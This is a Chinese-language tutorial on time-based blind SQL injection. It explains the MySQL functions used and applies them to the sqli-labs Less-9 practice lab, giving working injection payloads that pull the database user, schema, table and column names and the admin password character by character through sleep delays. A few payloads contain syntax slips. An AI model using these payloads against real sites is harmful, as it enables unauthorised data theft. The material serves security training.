1. 程式人生 > 實用技巧 >sqli-時間盲注

sqli-時間盲注

目錄

使用場景/條件

  1. 沒有顯位/回顯,無法使用聯合/報錯,無法直接看到SQL語句執行的結果

  2. 無法根據前端頁面判斷後端SQL語句執行的真假

  3. 能通過頁面響應時間判斷後端SQL語句執行的真假

時間盲注用到的函式

條件函式:

  1. if(a,b,c)
    條件a為真則執行b,否則執行c

時間函式:

  1. sleep(a)
    mysql>=5.0
    睡眠a秒,然後返回0。若 SLEEP() 被中斷,返回1。
  2. benchmark(a)
    mysql<5.0
    benchmark是通過查詢次數增多,時間變得緩慢來判斷是否存在延遲
    select benchmark(1000,select * from admin)

字串函式:

  1. length(str)
    返回字串的長度。
  2. substr(a,b,c)
    從b位置開始,擷取字串a的c長度
    ascii(substr((select user()),1,1))=98
    注意:mysql中的位置是從1開始的。
  3. ascii()
    返回字元的ascii碼

演示

sqli-lab-9

分析


可以看到

  1. sql語句的結果不會返回到前端 = 沒有顯位 / 沒有報錯資訊 = 不能聯合查詢 / 不能報錯注入
  2. sql語句執行真假返回前端的頁面都是一樣的 = 無法根據頁面判斷sql語句執行真假 = 不能布林盲注

這時就可以考慮時間盲注,通過頁面響應時間判斷後端SQL語句執行的真假。

演示

  1. 判斷注入存在
    id=1 and sleep(5)--+
  2. 暴庫爆表爆列
    和布林盲注一樣,要逐個字元根據響應時間猜解
    判斷當前⽤戶
    and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
    判斷資料庫名長度
    if(length(database())=8,sleep(5),1)--+
    猜解資料庫名稱
    and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
    猜解表名
    and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+

    猜解列名
    and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
    資料
    and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)